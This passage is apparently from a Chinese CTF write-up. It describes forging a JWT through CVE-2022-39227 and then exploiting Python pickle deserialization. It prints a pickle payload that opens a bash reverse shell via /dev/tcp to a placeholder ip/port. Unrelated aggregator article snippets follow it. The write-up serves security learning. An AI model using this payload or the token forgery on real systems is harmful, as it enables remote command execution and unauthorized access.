    app.run(host="0.0.0.0", port=5000, debug=True)

这里访问首页会给个jwt的token,考点就是jwt的一个CVE,CVE-2022-39227,需要一个已知token且python-jwt版本<3.3.4,然后用脚本改成我们想要的token,poc地址 https://github.com/user0x1337/CVE-2022-39227

用法

python3 cve_2022_39227.py -j <JWT-WEBTOKEN> -i "<KEY>=<VALUE>"

生成一个新的token,get传给主页路由后,再访问pickle路由,若有报错,则修改成功

在这里插入图片描述

没有过滤,r执行命令即可,没有回显,尝试反弹shell

op=b'''cos
system
(S'bash -c "bash -i >& /dev/tcp/ip/port 0>&1"'
tR.'''

在这里插入图片描述

参考文章

1.https://hachp1.github.io/posts/Web%E5%AE%89%E5%85%A8/20200328-pickle.html

2.https://www.anquanke.com/post/id/188981

3.https://chenlvtang.top/2021/08/23/Python%E4%B9%8BPickle%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/

4.https://tttang.com/archive/1885/

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1819623.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

qt仿制qq登录界面

#include "mainwindow.h"MainWindow::MainWindow(QWidget *parent): QMainWindow(parent) {// 设置窗口大小this->resize(window_width, window_heigth);// 固定窗口大小this->setFixedSize(window_width, window_heigth);// 设置窗口图标this->se…

JavaScript-数组

学习目标&#xff1a; 掌握数组 学习内容&#xff1a; 数组是什么数组的基本使用练习操作数组 数组是什么&#xff1a; 数组Array 是一种可以按顺序保存数据的数据类型。场景&#xff1a;如果有多个数据可以用数组保存起来&#xff0c;然后放到一个变量中&#xff0c;管理非常…

SQL 表连接(表关联)

目录 一、INNER JOIN&#xff08;内连接,等值连接&#xff09; 二、LEFT JOIN&#xff08;左连接&#xff09; 三、RIGHT JOIN&#xff08;右连接&#xff09;&#xff1a; 一、INNER JOIN&#xff08;内连接,等值连接&#xff09; 用途&#xff1a;获取两个表中字段能匹配上…

返回值返回引用返回指针之间的区别

一、返回值 当函数返回一个值时&#xff0c;实际返回的是一个变量的拷贝。 优点&#xff1a; 简单易用&#xff1b;安全&#xff0c;不会导致悬挂指针或悬挂引用&#xff1b; 缺点&#xff1a; 当返回值是一个较大的对象时会产生拷贝开销&#xff0c;影响程序性能&#xf…

TcpClient 服务器、客户端连接

TcpClient 服务器 TcpListener 搭建tcp服务器的类&#xff0c;基于socket套接字通信的 1 创建服务器对象 TcpListener server new TcpListener(IPAddress.Parse("127.0.0.1"), 3000); 2 开启服务器 设置最大连接数 server.Start(1000); 3 接收客户端的链接,只能…

git如果将多次提交压缩成一次

将N个提交压缩到单个提交中有两种方式&#xff1a; git reset git reset的本意是版本回退&#xff0c;回退时可以选择保留commit提交。我们基于git reset的作用&#xff0c;结合新建分支&#xff0c;可以实现多次commit提交的合并。这个不需要vim编辑&#xff0c;很少有冲突。…

C语言| 编程获取数组的长度

用sizeof也可以获得整个数组在内存中所占的字节数。 总的字节数除以一个元素所占的字节数就是数组的总长度。 这样不管数组是增加还是减少元素&#xff0c;sizeof(a) /sizeof(a[0])都能自动求出数组的长度。 字符串中有一个strlen()函数可以求出字符数组中字符串的长度。 #inc…

Linux结业测试题,旨在检测ip网络配置,文件权限等基础

Linux期末结业考试 一、评分方式&#xff08;总分100分&#xff0c;理论40分在职教云考试&#xff09; 主要涉及的知识和技能点*分值权重*Linux的最小安装10%激活网络&#xff0c;并正确设置ip地址10%克隆1台机器&#xff0c;并正确设置ip地址10%SSH免密互信服务10%文件和目录…

硬件相关——硬盘分区

文章目录 系统分区什么是分区&我们为什么要用分区逻辑分区分区规则为什么主分区最多只能分4个&#xff1f;硬盘的结构扩展分区 格式化啥叫格式化为什么我们需要格式化索引呢&#xff1f; 系统分区 什么是分区&我们为什么要用分区 磁盘分区是指&#xff0c;使用分区编辑…

论文笔记:ATime-Aware Trajectory Embedding Model for Next-Location Recommendation

Knowledge and Information Systems, 2018 1 intro 1.1 背景 随着基于位置的社交网络&#xff08;LBSNs&#xff09;&#xff0c;如Foursquare和Facebook Places的日益流行&#xff0c;大量用户签到数据变得可用 这些大量签到数据的可用性带来了许多有用的应用&#xff0c;以…

Perl 语言入门学习

一、介绍 Perl 是一种高级的、动态的、解释型的通用编程语言&#xff0c;由Larry Wall于1987年开发。它是一种非常灵活和强大的语言&#xff0c;广泛用于文本处理、系统管理、网络编程、图形编程等领域。 Perl 语言的设计理念是“用一种简单的语法&#xff0c;去解决复杂的编…

基于注意力的MIL

多实例学习是监督学习的一种变体&#xff0c;其中单个类标签被分配给一袋实例。在本文中&#xff0c;作者将MIL问题描述为学习bag标签的伯努利分布&#xff0c;其中bag标签概率通过神经网络完全参数化。此外&#xff0c;提出了一种基于神经网络的置换不变聚合算子&#xff0c;该…

Spring Security——基于MyBatis

目录 项目总结 新建一个项目 pom.xml application.properties配置文件 User实体类 UserMapper映射接口 UserService访问数据库中的用户信息 WebSecurityConfig配置类 MyAuthenticationFailureHandler登录失败后 MyAuthenticationSuccessHandlerw登录成功后 WebSecur…

嘉之音真丝彩绘吸音画,把记忆与向往刻进艺术里

那一瞬间定格在记忆中 那一刹那感动到骨髓里 曾经 现在 将来 每一幅画&#xff0c;都是一个故事的开始&#xff0c;一段记忆的延续&#xff0c;它们承载着过去&#xff0c;映照着现在&#xff0c;启迪着未来。在艺术的世界里&#xff0c;每个人都能找到属于自己的那一幅画…

PyTorch -- Visdom 快速实践

安装&#xff1a;pip install visdom 注&#xff1a;如果安装后启动报错可能是 visdom 版本选择问题 启动&#xff1a;python -m visdom.server 之后打开出现的链接 http://localhost:8097Checking for scripts. Its Alive! INFO:root:Application Started INFO:root:Working…

pytorch神经网络训练(AlexNet)

导包 import osimport torchimport torch.nn as nnimport torch.optim as optimfrom torch.utils.data import Dataset, DataLoaderfrom PIL import Imagefrom torchvision import models, transforms 定义自定义图像数据集 class CustomImageDataset(Dataset): 定义一个自…

数据采集项目1-用户行为数据同步

环境准备 linux配置、克隆103和104、编写集群分发脚本、ssh无密码登录配置、jdk安装、数据模拟集群日志数据输出脚本、xcall脚本、安装hadoop、zk安装、kafka安装、flume安装、mysql安装、maxwell安装、datax安装、hive安装 用户行为数据同步-总的数据流程图 第一层flume 数据…

22 CRT工具安装流程

22 CRT工具安装流程 SecureCRT 9.5 说明书 SecureCRT 9.5是一款由VanDyke Software开发的终端仿真程序。它为Windows、Mac和Linux操作系统提供了强大的SSH&#xff08;Secure Shell&#xff09;客户端功能。SecureCRT 9.5提供了对Telnet、RLogin、Serial和X.509等协议的支持&…

没那么简单!浅析伦敦金与美元的关系

伦敦金价与美元的关系可以被比喻为跷跷板的两端&#xff0c;它们的价格走势往往呈现出此消彼长的关系&#xff1a;当美元表现强势的时候&#xff0c;伦敦金的价格可能承受到压力&#xff1b;相反&#xff0c;当美元疲软时&#xff0c;黄金往往会成为避险资产&#xff0c;令伦敦…

Flask快速入门(路由、CBV、请求和响应、session)

Flask快速入门&#xff08;路由、CBV、请求和响应、session&#xff09; 目录 Flask快速入门&#xff08;路由、CBV、请求和响应、session&#xff09;安装创建页面Debug模式快速使用Werkzeug介绍watchdog介绍快速体验 路由系统源码分析手动配置路由动态路由-转换器 Flask的CBV…